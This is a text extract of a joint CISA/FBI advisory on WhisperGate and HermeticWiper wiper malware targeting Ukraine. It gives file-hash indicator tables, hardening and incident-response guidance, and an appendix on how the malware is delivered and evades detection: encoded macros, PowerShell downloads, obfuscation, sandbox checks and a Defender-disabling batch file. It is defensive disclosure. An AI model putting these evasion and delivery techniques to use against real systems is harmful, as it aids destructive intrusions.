enforcement purposes. See Technical Approaches to Uncovering and Remediating Malicious Activity for more information. CONTACT All organizations should report incidents and anomalous activity to CISA 24/7 Operations Center at central@cisa.dhs.gov or (888) 282-0870 and/or to the FBI via your local FBI field office or the FBI 24/7 CyWatch at (855) 292-3937 or CyWatch@fbi.gov. RESOURCES Joint CSA: Understanding and Mitigating Russian State-Sponsored Cyber Threats to U.S. Critical Infrastructure Joint CSA: NSA and CISA Recommend Immediate Actions to Reduce Exposure Across Operational Technologies and Control Systems Joint CSA: Ongoing Cyber Threats to U.S. Water and Wastewater Systems CISA and MS-ISAC: Joint Ransomware Guide NIST: Data Integrity: Detecting and Responding to Ransomware and Other Destructive Events NIST: Data Integrity: Recovering from Ransomware and Other Destructive Events Page 8 of 9 | Product ID: AA22-057A TLP:WHITE CISA | FBI TLP:WHITE CISA Cyber hygiene services: CISA offers a range of no-cost services to help critical infrastructure organizations assess, identify and reduce their exposure to threats, including ransomware. By requesting and leveraging these services, organizations of any size could find ways to reduce their risk and mitigate attack vectors. Page 9 of 9 | Product ID: AA22-057A TLP:WHITE TLP:WHITE Co-Authored by: Product ID: AA22-057A February 26, 2022 Update: Destructive Malware Targeting Organizations in Ukraine SUMMARY Actions to Take Today: (Updated April 28, 2022) This advisory has been updated to include additional Indicators of Compromise (IOCs) for WhisperGate and technical details for HermeticWiper, IsaacWiper, HermeticWizard, and CaddyWiper destructive malware, all of which have been deployed against Ukraine since January 2022. Additional IOCs associated with WhisperGate are in the Appendix, and specific malware analysis reports (MAR) are hyperlinked below. Set antivirus and antimalware programs to conduct regular scans. Enable strong spam filters to prevent phishing emails from reaching end users. Filter network traffic. Update software. Require multifactor authentication. Refer to MAR-10375867.r1.v1 for technical details on HermeticWiper. Refer to MAR-10376640.r1.v1 for technical details on IsaacWiper and HermeticWizard Refer to MAR-10376640.r2.v1 for technical details on CaddyWiper. (end of update) Leading up to Russia s unprovoked attack against Ukraine, threat actors deployed destructive malware against organizations in Ukraine to destroy computer systems and render them inoperable. On January 15, 2022, the Microsoft Threat Intelligence Center (MSTIC) disclosed that malware, known as WhisperGate, was being used to target organizations in Ukraine. According to Microsoft, WhisperGate is intended to be destructive and is designed to render targeted devices inoperable. On February 23, 2022, several cybersecurity researchers disclosed that malware known as HermeticWiper was being used against organizations in Ukraine. According to Sentinel Labs, To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at www.fbi.gov/contact-us/field-offices, or the FBI s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by email at CyWatch@fbi.gov. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at CISAServiceDesk@cisa.dhs.gov. This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol, see https://www.cisa.gov/tlp. TLP TLP:WHITE CISA | FBI TLP:WHITE the malware targets Windows devices, manipulating the master boot record, which results in subsequent boot failure. Destructive malware can present a direct threat to an organization s daily operations, impacting the availability of critical assets and data. Further disruptive cyberattacks against organizations in Ukraine are likely to occur and may unintentionally spill over to organizations in other countries. Organizations should increase vigilance and evaluate their capabilities encompassing planning, preparation, detection, and response for such an event. This joint Cybersecurity Advisory (CSA) between the Cybersecurity and Infrastructure Security Agency (CISA) and Federal Bureau of Investigation (FBI) provides information on WhisperGate and HermeticWiper malware as well as open-source indicators of compromise (IOCs) for organizations to detect and prevent the malware. Additionally, this joint CSA provides recommended guidance and considerations for organizations to address as part of network architecture, security baseline, continuous monitoring, and incident response practices. TECHNICAL DETAILS Threat actors have deployed destructive malware, including both WhisperGate and HermeticWiper, against organizations in Ukraine to destroy computer systems and render them inoperable. Listed below are high-level summaries of campaigns employing the malware. CISA recommends organizations review the resources listed below for more in-depth analysis and see the Mitigation section for best practices on handling destructive malware. On January 15, 2022, Microsoft announced the identification of a sophisticated malware operation targeting multiple organizations in Ukraine. The malware, known as WhisperGate, has two stages that corrupts a system s master boot record, displays a fake ransomware note, and encrypts files based on certain file extensions. Note: although a ransomware message is displayed during the attack, Microsoft highlighted that the targeted data is destroyed, and is not recoverable even if a ransom is paid. See Microsoft s blog on Destructive malware targeting Ukrainian organizations for more information and see the IOCs in table 1. Table 1: IOCs associated with WhisperGate Name File Category File Hash Source WhisperGate stage1.exe a196c6b8ffcb97ffb276d04f354696e2391 311db3841ae16c8c9f56f36a38e92 Microsoft MSTIC WhisperGate stage2.exe dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f 5329958d38b58c3fd9384081c9b78 Microsoft MSTIC (Updated April 28, 2022) See Appendix: Additional IOCs associated with WhisperGate. On February 23, 2022, cybersecurity researchers disclosed that malware known as HermeticWiper was being used against organizations in Ukraine. According to Sentinel Labs, the malware targets Windows devices, manipulating the master boot record and resulting in subsequent boot failure. Page 2 of 16 | Product ID: AA22-057A TLP:WHITE TLP:WHITE CISA | FBI Note: according to Broadcom Software, [HermeticWiper] has some similarities to the earlier WhisperGate wiper attacks against Ukraine, where the wiper was disguised as ransomware. See the following resources for more information and see the IOCs in table 2 below. ESET Research Tweet: Breaking. #ESETResearch discovered a new data wiper malware used in Ukraine today. ESET telemetry shows that it was installed on hundreds of machines in the country. Sentinel Labs: HermeticWiper | New Destructive Malware Used In Cyber Attacks on Ukraine Broadcom Software s Symantec Threat Hunter Team: Ukraine: Disk-wiping Attacks Precede Russian Invasion Page 3 of 16 | Product ID: AA22-057A TLP:WHITE CISA | FBI TLP:WHITE Table 2: IOCs associated with HermeticWiper Name File Category File Hash Source Win32/KillDisk .NCV Trojan 912342F1C840A42F6B74132F8A7C4FFE7D4 0FB77 61B25D11392172E587D8DA3045812A66C33 85451 ESET research HermeticWiper Win32 EXE 912342f1c840a42f6b74132f8a7c4ffe7d4 0fb77 Sentinel Labs HermeticWiper Win32 EXE 61b25d11392172e587d8da3045812a66c33 85451 Sentinel Labs RCDATA_DRV_X64 ms-compressed a952e288a1ead66490b3275a807f52e5 Sentinel Labs RCDATA_DRV_X86 ms-compressed 231b3385ac17e41c5bb1b1fcb59599c4 Sentinel Labs RCDATA_DRV_XP_ ms-compressed 095a1678021b034903c85dd5acb447ad Sentinel Labs RCDATA_DRV_XP_ ms-compressed eb845b7a16ed82bd248e395d9852f467 Sentinel Labs Trojan.Killdis Trojan.Killdis 1bc44eef75779e3ca1eefb8ff5a64807dbc 942b1e4a2672d77b9f6928d292591 Symantec Threat Hunter Team Trojan.Killdis Trojan.Killdis 0385eeab00e946a302b24a91dea4187c121 0597b8e17cd9e2230450f5ece21da Symantec Threat Hunter Team Trojan.Killdis Trojan.Killdis a64c3e0522fad787b95bfb6a30c3aed1b57 86e69e88e023c062ec7e5cebf4d3e Symantec Threat Hunter Team Ransomware Trojan.Killdis 4dc13bb83a16d4ff9865a51b3e4d2411232 7c526c1392e14d56f20d6f4eaf382 Symantec Threat Hunter Team Page 4 of 16 | Product ID: AA22-057A TLP:WHITE CISA | FBI TLP:WHITE MITIGATIONS Best Practices for Handling Destructive Malware As previously noted above, destructive malware can present a direct threat to an organization s daily operations, impacting the availability of critical assets and data. Organizations should increase vigilance and evaluate their capabilities, encompassing planning, preparation, detection, and response, for such an event. This section is focused on the threat of malware using enterprise-scale distributed propagation methods and provides recommended guidance and considerations for an organization to address as part of their network architecture, security baseline, continuous monitoring, and incident response practices. CISA and the FBI urge all organizations to implement the following recommendations to increase their cyber resilience against this threat. Potential Distribution Vectors Destructive malware may use popular communication tools to spread, including worms sent through email and instant messages, Trojan horses dropped from websites, and virus-infected files downloaded from peer-to-peer connections. Malware seeks to exploit existing vulnerabilities on systems for quiet and easy access. The malware has the capability to target a large scope of systems and can execute across multiple systems throughout a network. As a result, it is important for organizations to assess their environment for atypical channels for malware delivery and/or propagation throughout their systems. Systems to assess include: Enterprise applications particularly those that have the capability to directly interface with and impact multiple hosts and endpoints. Common examples include: o Patch management systems, o Asset management systems, o Remote assistance software (typically used by the corporate help desk), o Antivirus (AV) software, o Systems assigned to system and network administrative personnel, o Centralized backup servers, and o Centralized file shares. While not only applicable to malware, threat actors could compromise additional resources to impact the availability of critical data and applications. Common examples include: Centralized storage devices o Potential risk direct access to partitions and data warehouses. Network devices o Potential risk capability to inject false routes within the routing table, delete specific routes from the routing table, remove/modify configuration attributes, or destroy firmware or system binaries which could isolate or degrade availability of critical network resources. Page 5 of 16 | Product ID: AA22-057A TLP:WHITE CISA | FBI TLP:WHITE Best Practices and Planning Strategies Common strategies can be followed to strengthen an organization s resilience against destructive malware. Targeted assessment and enforcement of best practices should be employed for enterprise components susceptible to destructive malware. Communication Flow Ensure proper network segmentation. Ensure that network-based access control lists (ACLs) are configured to permit server-to-host and host-to-host connectivity via the minimum scope of ports and protocols and that directional flows for connectivity are represented appropriately. o Communications flow paths should be fully defined, documented, and authorized. Increase awareness of systems that can be used as a gateway to pivot (lateral movement) or directly connect to additional endpoints throughout the enterprise. o Ensure that these systems are contained within restrictive Virtual Local Area Networks (VLANs), with additional segmentation and network access controls. Ensure that centralized network and storage devices management interfaces reside on restrictive VLANs. o Layered access control, and o Device-level access control enforcement restricting access from only pre-defined VLANs and trusted IP ranges. Access Control For enterprise systems that can directly interface with multiple endpoints: o Require multifactor authentication for interactive logons. o Ensure that authorized users are mapped to a specific subset of enterprise personnel. If possible, the Everyone, Domain Users, or the Authenticated Users groups should not be permitted the capability to directly access or authenticate to these systems. o Ensure that unique domain accounts are used and documented for each enterprise application service. Context of permissions assigned to these accounts should be fully documented and configured based upon the concept of least privilege. Provides an enterprise with the capability to track and monitor specific actions correlating to an application s assigned service account. o If possible, do not grant a service account with local or interactive logon permissions. Service accounts should be explicitly denied permissions to access network shares and critical data locations. o Accounts that are used to authenticate to centralized enterprise application servers or devices should not contain elevated permissions on downstream systems and resources throughout the enterprise. Continuously review centralized file share ACLs and assigned permissions. o Restrict Write/Modify/Full Control permissions when possible. Monitoring Audit and review security logs for anomalous references to enterprise-level administrative (privileged) and service accounts. Page 6 of 16 | Product ID: AA22-057A TLP:WHITE CISA | FBI TLP:WHITE o Failed logon attempts, o File share access, and o Interactive logons via a remote session. Review network flow data for signs of anomalous activity, including: o Connections using ports that do not correlate to the standard communications flow associated with an application, o Activity correlating to port scanning or enumeration, and o Repeated connections using ports that can be used for command and control purposes. Ensure that network devices log and audit all configuration changes. o Continually review network device configurations and rule sets to ensure that communications flows are restricted to the authorized subset of rules. File Distribution When deploying patches or AV signatures throughout an enterprise, stage the distributions to include a specific grouping of systems (staggered over a pre-defined period). o This action can minimize the overall impact in the event that an enterprise patch management or AV system is leveraged as a distribution vector for a malicious payload. Monitor and assess the integrity of patches and AV signatures that are distributed throughout the enterprise. o Ensure updates are received only from trusted sources, o Perform file and data integrity checks, and o Monitor and audit as related to the data that is distributed from an enterprise application. System and Application Hardening Ensure robust vulnerability management and patching practices are in place. o CISA maintains a living catalog of known exploited vulnerabilities that carry significant risk to federal agencies as well as public and private sectors entities. In addition to thoroughly testing and implementing vendor patches in a timely and, if possible, automated manner, organizations should ensure patching of the vulnerabilities CISA includes in this catalog. Ensure that the underlying operating system (OS) and dependencies (e.g., Internet Information Services [IIS], Apache, Structured Query Language [SQL]) supporting an application are configured and hardened based upon industry-standard best practice recommendations. Implement application-level security controls based on best practice guidance provided by the vendor. Common recommendations include: o Use role-based access control, o Prevent end-user capabilities to bypass application-level security controls, For example, do not allow users to disable AV on local workstations. o Remove, or disable unnecessary or unused features or packages, and o Implement robust application logging and auditing. Page 7 of 16 | Product ID: AA22-057A TLP:WHITE CISA | FBI TLP:WHITE Recovery and Reconstitution Planning A business impact analysis (BIA) is a key component of contingency planning and preparation. The overall output of a BIA will provide an organization with two key components (as related to critical mission/business operations): Characterization and classification of system components, and Interdependencies. Based upon the identification of an organization s mission critical assets (and their associated interdependencies), in the event that an organization is impacted by destructive malware, recovery and reconstitution efforts should be considered. To plan for this scenario, an organization should address the availability and accessibility for the following resources (and should include the scope of these items within incident response exercises and scenarios): Comprehensive inventory of all mission critical systems and applications: o Versioning information, o System/application dependencies, o System partitioning/storage configuration and connectivity, and o Asset owners/points of contact. Contact information for all essential personnel within the organization, Secure communications channel for recovery teams, Contact information for external organizational-dependent resources: o Communication providers, o Vendors (hardware/software), and o Outreach partners/external stakeholders Service contract numbers for engaging vendor support, Organizational procurement points of contact, Optical disc image (ISO)/image files for baseline restoration of critical systems and applications: o OS installation media, o Service packs/patches, o Firmware, and o Application software installation packages. Licensing/activation keys for OS and dependent applications, Enterprise network topology and architecture diagrams, System and application documentation, Hard copies of operational checklists and playbooks, System and application configuration backup files, Data backup files (full/differential), System and application security baseline and hardening checklists/guidelines, and System and application integrity test and acceptance checklists. Incident Response Victims of a destructive malware attacks should immediately focus on containment to reduce the scope of affected systems. Strategies for containment include: Page 8 of 16 | Product ID: AA22-057A TLP:WHITE TLP:WHITE CISA | FBI Determining a vector common to all systems experiencing anomalous behavior (or having been rendered unavailable) from which a malicious payload could have been delivered: o Centralized enterprise application, o Centralized file share (for which the identified systems were mapped or had access), o Privileged user account common to the identified systems, o Network segment or boundary, and o Common Domain Name System (DNS) server for name resolution. Based upon the determination of a likely distribution vector, additional mitigation controls can be enforced to further minimize impact: o Implement network-based ACLs to deny the identified application(s) the capability to directly communicate with additional systems, Provides an immediate capability to isolate and sandbox specific systems or resources. o Implement null network routes for specific IP addresses (or IP ranges) from which the payload may be distributed, An organization s internal DNS can also be leveraged for this task, as a null pointer record could be added within a DNS zone for an identified server or application. o Readily disable access for suspected user or service account(s), o For suspect file shares (which may be hosting the infection vector), remove access or disable the share path from being accessed by additional systems, and o Be prepared to, if necessary, reset all passwords and tickets within directories (e.g., changing golden/silver tickets). As related to incident response and incident handling, organizations are encouraged to report incidents to the FBI and CISA (see the Contact section below) and to preserve forensic data for use in internal investigation of the incident or for possible law enforcement purposes. See Technical Approaches to Uncovering and Remediating Malicious Activity for more information. CONTACT All organizations should report incidents and anomalous activity to CISA 24/7 Operations Center at central@cisa.dhs.gov or (888) 282-0870 and/or to the FBI via your local FBI field office or the FBI 24/7 CyWatch at (855) 292-3937 or CyWatch@fbi.gov. RESOURCES Joint CSA: Understanding and Mitigating Russian State-Sponsored Cyber Threats to U.S. Critical Infrastructure Joint CSA: NSA and CISA Recommend Immediate Actions to Reduce Exposure Across Operational Technologies and Control Systems Joint CSA: Ongoing Cyber Threats to U.S. Water and Wastewater Systems CISA and MS-ISAC: Joint Ransomware Guide NIST: Data Integrity: Detecting and Responding to Ransomware and Other Destructive Events NIST: Data Integrity: Recovering from Ransomware and Other Destructive Events Page 9 of 16 | Product ID: AA22-057A TLP:WHITE CISA | FBI TLP:WHITE CISA Cyber hygiene services: CISA offers a range of no-cost services to help critical infrastructure organizations assess, identify and reduce their exposure to threats, including ransomware. By requesting and leveraging these services, organizations of any size could find ways to reduce their risk and mitigate attack vectors. UPDATED APRIL 28, 2022: APPENDIX: Additional IOCS Associated with WhisperGate The hashes in Table 3 contain malicious binaries, droppers, and macros linked to WhisperGate cyber actors activity. The binaries are predominantly .Net and are obfuscated. Obfuscation varies; some of the binaries contain multiple layers of obfuscation. Analysis identified multiple uses of string reversal, character replacement, base64 encoding, and packing. Additionally, the malicious binaries contain multiple defenses including VM checks, sandbox detection and evasion, and anti-debugging techniques. Finally, the sleep command was used in varying lengths via PowerShell to obfuscate execution on a victim s network. All Microsoft .doc files contain a malicious macro that is base64 encoded. Upon enabling the macro, a PowerShell script runs a sleep command and then downloads a file from an external site. The script connects to the external website via HTTP to download an executable. Upon download, the executable is saved to C:\Users\Public\Documents\ filepath on the victim host. An identified zip file was found to contain the Microsoft Word file macro_t1smud.doc. Once the macro is enabled, a bash script runs a sleep command and the script connects to htxxps://the.earth.li/~sgtatham/putty/latest/w32/putty.exe. This binary is likely the legitimate Putty Secure Shell binary. Upon download the file is saved to C:\Users\Public\Documents\ file path. Profile of Malicious Hashes Saintbot (and related .Net loaders) WhisperGate Malware and related VB files Quasar RAT .NET Infostealer malware Telegram Bot Multiple Loaders (mostly utilizing PowerShell that pull down a jpg or bin files) Jpg/PNG files = obfuscated executables antidef.bat = likely a bat file to disable Windows Defender Table 3: Additional IOCs associated with WhisperGate Hash Associated Files 647ebdca2ef6b74b17bb126df19bf0ed88341650 loader2132.exe 24f71409bde9d01e3519236e66f3452236302e46 saint.exe Page 10 of 16 | Product ID: AA22-057A TLP:WHITE CISA | FBI TLP:WHITE 1e3497ac435936be06ba665a4acd06b850cf56b4 loader.exe 981319f00b654d0142430082f2e636ef69a377d9 Yudjcfoyg.exe e0dbe49c9398a954095ee68186f391c288b9fcc5 Project_1.exe 0ba64c284dc0e13bc3f7adfee084ed25844da3d2 Hjtiyz.jpg 6b8eab6713abb7c1c51701f12f23cdff2ff3a243 Ltfckzl.jpg 3bbb84206f0c81f7fd57148f913db448a8172e92 Vgdnggv.jpg 7c77b1c72a2228936e4989de2dfab95bfbbbc737 Pfiegomql.jpg c0cd6f8567df73e9851dbca4f7c4fbfe4813a2e1 Fezpwij.jpg d6830184a413628db9946faaae8b08099c0593a0 Bqpptgcal.jpg d083da96134924273a7cbc8b6c51c1e92de4f9e1 loader.jpg d599f16e60a916f38f201f1a4e6d73cb92822502 Debythht.jpg 9b9374a5e376492184a368fcc6723a7012132eae Dmhdgocsp.jpg 86bd95db7b514ea0185dba7876fa612fae42b715 Zysyrokzk.jpg e7917df9feabfedae47d8b905136d52cb5cb7f37 Baeipiyd.jpg b2d863fc444b99c479859ad7f012b840f896172e Tbopbh.jpg d85e1614cf4a1e9ec632580b62b0ecb5f8664352 Lxkdjr.jpg 08f0b0d66d370151fd8a265b1f9be8be61cc1aa9 Twojt.bin 5ac592332a406d5b2dcfc81b131d261da7e791d2 Rvlxi.bin 052825569c880212e1e39898d387ef50238aaf35 Yarfe.bin 4c2a0f44b176ba83347062df1d56919a25445568 Ftvqpq.bin d51214461fc694a218a01591c72fe89af0353bc1 Pkbsu.bin 1125b2c3c91491aa71e0536bb9a8a1b86ff8f641 Pkcxiu.bin 37f54f121bcae65b4b3dd680694a11c5a5dfc406 loader.bin 4facd9a973505bb00eb1fd9687cbab906742df73 loader.bin 376a2339cbbb94d33f82dea2ea78bb011485e0d9 Qmpnrffn.bin b6793fc62b27ee3cce24e9e63e3108a777f71904 Vpzhote.bin 1fc463b2f53ba0889c90cc2b7866afae45a511de Yymmdbfrb.bin ff71f9defc2dd27b488d961ce0fbc6ece56b2962 Zlhmmwutx.bin 13ca079770f6f9bdddfea5f9d829889dc1fbc4ed Xhlnfjeqy.bin Page 11 of 16 | Product ID: AA22-057A TLP:WHITE CISA | FBI TLP:WHITE c99c982d1515ade3da81268e79f5e5f7d550aabd Gpfsqm.png d6ffa42548ff12703e38c5db6c9c39c34fe3d82a Ktlbo.png bd5116865bcf066758f817ba9385cc7d001ecad9 Vgdnggv.png 034c0d73b21cf17c25c086d19a6ef3bb8a06bab7 Rsscffiiu.png 69e4efc8000a473d2b2c0067f317b22664453205 loader.png 424f7a756f72f1da9012859bf86ad7651bafa937 Wmztvc.png 6c64e1f2ba11ecff5e899f880d14da42acf3f699 Ygxdlt.png fa8a373e837d7be2fce0bfe073a6fdeaefc56ca1 Fewbfaklk.png 0eccc0aa674fd9fc27023c70067e630fd5d21cd6 www.google.png 6e11c3e119499f11b83787cc4bb5f2751bd90219 Nxoaa.com 8a93bfd9e70611547a420971662d113b6b3c6234 Lxkdjr.com b19d5f0d8696271aff5af616b91a4cdc73981934 www.google.com b5e3e65cd6b09b17d4819a1379dde7db3e33813b Cpdfx.jpeg d92e315f3c290a7e71950480f074af5b59e8bd3d Mtubbb.jpeg fb83899dc633c59a8473a3048c9aacce7e1bf8d8 Kzwolw.jpeg 5fbd9bd73040d7a2cac0fc21d2fe29ebe57fb597 Fczdcmep.jpeg 90fa56e79765d27d35706d028d32dc5be7efb623 Jdeiipc.jpeg cd8ef5a2543a2535416655f861c574c63e9008ea 5415.jpeg 72a45d6bfde93eb92a7b7a1ea284f35e1d24203a 000.jpeg d2a697fc1b61888c49a48ce094e400b62a71201d Ofewufeiy.exe bddb6994656659d098d6040dc895e90877fb1266 load.exe 00d6c66ab2fd1810628d13980cc73275884933b1 loader.exe 12f50a97955497c49f9603ea2531384e430f0df5 loader.exe 27c176bbd3e254d5e46ccb865d29c8c166ba4a9f Wdlord.bin 88c76d31b046227d82f94db87697b25e482eb398 Ofewufeiy.bin 2e113050a81bbd0774db7e86fad4abd44e5b6ec2 Bdfjvu.bin db370ee79d9b4bd44e07f425d7b06beffc8bdded Jdnpanki.bin 88e5bf24bd0f01778217c4fcdb37b76929c2d32b downloader.bin f6acdc16c695c3c219116aea3d585efedcafdab5 up74987340.bin Page 12 of 16 | Product ID: AA22-057A TLP:WHITE CISA | FBI TLP:WHITE c3181fd7cb463893fc73974acc0016605d90ef6c Tdivhgry.png 731dab83ef1d02203db64fbefbe59f3791db1e21 Mbowytboz.png 50566fdea2f4b8a3466427f9c6798dabe2587823 Tlmbluje.png 5dbd68dd3bab6f3a06e303d68bb23e37994084eb loader.png ac618c4ece55eca2b067bedd2ce963b8ada30b40 antidef.bat a0074dbb3316eb570c08219609921a33052d7356 antidef.bat c4f8d6354ef3ee4e437aa7312df0121446d3a71f antidef.bat d9c2ce9c53f10cd12844a98270b4559e9fbfde44 antidef.bat 87a36b87bade46d0b0614b104152db7814808b21 antidef.bat d3ff54b679922ff9296bfb1b4c379d361f44afd9 1631031555.doc 71daf7af9480743f9e20254946521d6b648b0fe8 1631031555.doc 1aa120fe90d053060fb4e741bcde1f41d6d33303 1631031555.doc aa124ef17e870e6cd291cb371cde52ca4ffc94d2 1631031555.doc f79829972bc0ace5c498df3a840acf7d41c56056 1631031555.doc efa60e42ff1f5c5b57b9fb15a5b04baded2c4c82 1631031555.doc c96fc59fbe8495dbb50e5ba73b53496614ef8a8a 1631031555.doc 09650cb7a5ed0f43cf67985d03182ca608591a7c 1631031555.doc c9600ba9e63500b2fe345ff190042ef11d4ce88e 1631031555.doc ba6f3e474174bcb97c365b4d6365c71ca294aa16 1631031555.doc f71f0289d99aa1334e7e74b68320cbabbd37fbc1 1631031555.doc 50df153f513b3be09e474b23553b3610625fbb41 1631031555.doc 9496494756ab4276cf4e4aeb4988e781f0db031a 1631031555.doc 4de3118370c2720d60df566684b8b3b7ebf6dfa2 1631031555.doc d2d475d2df5b0ec1e97ea45e499f55e45d2aac17 1631031555.doc cdf858add61db5c44503f78cda67915ddb0f77d6 1631031555.doc 39e7abe29f4a574d80b438233e4d2099b99000bb 1631031555.doc 4212472d84ab9f36402bcc12193b9c63901a21d2 1631031555.doc 2277461ac707766f5bb694235b7edfd78af26ff1 1631031555.doc d57100a6d734be30a8a92734175a67983c7b0c32 1631031555.doc Page 13 of 16 | Product ID: AA22-057A TLP:WHITE CISA | FBI TLP:WHITE ba9a811915c3134bfde4414b051a8e6d7949080c 1631031555.doc 1d543a67ea0fcbc5cdc3d698af0d285356d2001b 1631031555.doc 965e4bae8d753efc695c3b1705f43ea7333a1688 1631031555.doc 594fad1593de55df36f294a32330f7b6f487a3e8 1631031555.doc ac672a07c62d48c0a7f98554038913770efaef11 1631031555.doc fa62e7df0cc1ece81ba2228cc22be01214cab2ab 1631031555.doc fdc6bf0a4154d79115ddfac02134580ac4685222 1631031555.doc e5828387cd6f596932d6caebfd76de1df5ba9ee2 1631031555.doc f5c769d2a27877e56cc0c540490b26c7c0ff25dd 1631031555.doc b589574d1ca3438929b8051329552d8e62a7a128 1631031555.doc 1f731bef9777cd4531de39b98a881d83506bb5d9 1631031555.doc e68dc7a106dab7186fc3ff3f7c70ab280b89d17d 1631031555.doc 572acb2baea77c5ba8e9fe668fd81a817e695d73 1631031555.doc 27a6e76209de03e55136dd72533f3c81d3e715e4 1631031555.doc 1ae21693ce6060059a1284a1e3166f735c339687 1631031555.doc 9e96114159d458597ed2fdc8603a97c9cd2c1e90 1631031555.doc ca00849b308d48daaea7d86e0d7c7af580a2e856 1631031555.doc 305d215c36d2a7fd9913007059a93e140503870d 1631031555.doc d503b4818a36f7eae9fbee0d8468b811bca87e83 1631031555.doc 512510a1a5c20ecbcc96781366edaaac58ae4608 1631031555.doc e53c3b7726cb36b3e898d48ad0f25dbd032e8a8b 1631031555.doc 2ecbb11218f3a24a6c1f33ea7027ab714fad2c3f 1631031555.doc 93cecf50d645ff633ef57e014c49a3ae967140c6 1631031555.doc 10bc94cdefb8ed8d305d087ca868b8fe963c69d4 1631031555.doc c4740eec9528e1a205326c8a7b7e8d44c8a5b6b1 1631031555.doc 312b8526b3e961887104e80f6447f5bb33ed06df 1631031555.doc 88750f0e1f488656ef0aeb3c40a5785d6c72eb3f 1631031555.doc c5e57aa3e027f1ae4d3216a5b652b11a63314534 1631031555.doc d6594fda649e3e4f15ea35e8ed29ac5c8c14760a 1631031555.doc Page 14 of 16 | Product ID: AA22-057A TLP:WHITE CISA | FBI TLP:WHITE f831bb0148a8f9d34f914d9560be062c821a7d83 1631031555.doc b48cbc3ba518c9db5840169e1e21b3ca66cd8177 1631031555.doc 3bb75935fc79205dffccb6102a19f0b96300ab70 1631031555.doc 9d0d4de1d09624de659ce39f449ce5a17f1bef50 1631031555.doc 5ab518686fcd3879dd8c02d74b97caa333ea51ab 1631031555.doc 8fbc7565af01b4a53c72fede3678f4aeba40c5f4 1631031555.doc 8998c076c21930b8fb223882fd9d82899544a902 1621031555.doc 988f07a4094a4a93b76a165ea9f7e251bbbf340f 1621031555.doc 95cf3c261178388c850a777ffe981bbeb287afcb 1621031555.doc e52cea59499060b8d0e84a7594a687448599f386 1621031555.doc cdcccb2a011cd22f49d7a96ffb06df3fe334f960 1621031555.doc 5ec9d35b41ee59d109370b257603aa804ecb7c15 1621031555.doc 42a28a4fa6bdb674be63001cd5efff6f7c1b11fc 1621031555.doc 4fabb94902244f60fd2359c61c1c79434095a2ba 1621031555.doc fbc4d60042c69bf2b5fec701201b24ceb22a43fe 1621031555.doc 5096ca0de8b6ca27dcdcf5790a2cb99566f03e04 1622031555.doc f7cf30c68989c4a3852397f59fda5d8d1f67f396 1622031555.doc c4ebbfcb3dc47a1260a0af9b3eb9b125f48d22cc 1622031555.doc 59b03cfb7f2d672f66eb6d027244cb1d9f39f30a 16.09.2021.pdf.js 4ac3c035909101ebddcb78573723d4d48b293a6e loader_exe_64_97975_1.exe f990e9c85cd196f9380930e951fbc2085fdf76b7 api_signed_3.exe e8623063485c61d7411fab8f72cfdbab08f29131 api_crypted_2.exe e0770b79e372f2cab86ae2ec33b5160708059eee payload.exe 2ee451947da9efdee0e9f39c9623f388297db6b4 test2.exe 21312d.exe c681f91c80673deff9f6efa61060f597fc0c1cd0 payload.exe d8d875f31c4d7c40cfd6483d6b250943d4f5e437 api177_crypted.exe f24c3237a1612888c8b5526e557a963f3b73e984 api177_signed.exe 76152dc6243ae29d8315f24f6e9449d620f672cd Fearsomely.exe Page 15 of 16 | Product ID: AA22-057A TLP:WHITE CISA | FBI TLP:WHITE d08d894023b16b8374466e6e9ede97f56f7cd4c7 firstgoon.exe f7ab3996edf81551fdd867fdd28a616491445c38 test4.exe 31ef83a2032cdcc2412991a8fbfe75ed1eed11e8 documents.exe d08d894023b16b8374466e6e9ede97f56f7cd4c7 firstgoon1.exe 8b9e47457a645d41b98ba07249e8cc3406831cb5 7.exe f9b6fff55fef34fc49432c8338eb3e9c0c44286e Matrix_MAX.exe b91ede2fa35ea3d4031fb51c32bc8211ab5f1e75 crypted.exe d665b0cfd313d8a72586b0515b92496dd7dc4bb0 crypted_2.exe 4a434c738e402242ecca92182312f04ce336ff86 work.exe 3e50a761cd4bbd9eeaf8f6b9629f9ce871d6f2dd SLP.exe 6c216522d2a1211399fb08567fcdec1d341340e3 Downloader.exe 6d11b5e4fce9c580b06298ca3dd4a6134fe4b520 Xhlnfjeqy.exe 3ac2d185c28548d43ea47b8fa3795b4308a4c39d Jdnpanki.exe e0770b79e372f2cab86ae2ec33b5160708059eee payload.vbs payload_2.vbs 98ab3ae46358a66c480810d1e4f24ef730e4dc7e 1.rar Page 16 of 16 | Product ID: AA22-057A TLP:WHITE TLP:WHITE Product ID: AA22-074A March 15, 2022 Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and PrintNightmare Vulnerability SUMMARY The Federal Bureau of Investigation (FBI) and Multifactor Authentication (MFA): Cybersecurity and Infrastructure Security A Cybersecurity Essential Agency (CISA) are releasing this joint MFA is one of the most important Cybersecurity Advisory (CSA) to warn cybersecurity practices to reduce the risk of organizations that Russian state-sponsored intrusions according to industry research, cyber actors have gained network access users who enable MFA are up to 99 percent through exploitation of default MFA protocols less likely to have an account compromised. and a known vulnerability. As early as May 2021, Russian state-sponsored cyber actors Every organization should enforce MFA for all took advantage of a misconfigured account set employees and customers, and every user to default MFA protocols at a non-governmental should sign up for MFA when available. organization (NGO), allowing them to enroll a Organizations that implement MFA should new device for MFA and access the victim review default configurations and modify as network. The actors then exploited a critical necessary, to reduce the likelihood that a Windows Print Spooler vulnerability, sophisticated adversary can circumvent this PrintNightmare (CVE-2021-34527) to run control. arbitrary code with system privileges. Russian state-sponsored cyber actors successfully exploited the vulnerability while targeting an NGO using Cisco s Duo MFA, enabling access to cloud and email accounts for document exfiltration. This advisory provides observed tactics, techniques, and procedures, indicators of compromise (IOCs), and recommendations to protect against Russian state-sponsored malicious cyber activity. To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at fbi.gov/contact-us/field-offices, or the FBI s 24/7 Cyber Watch 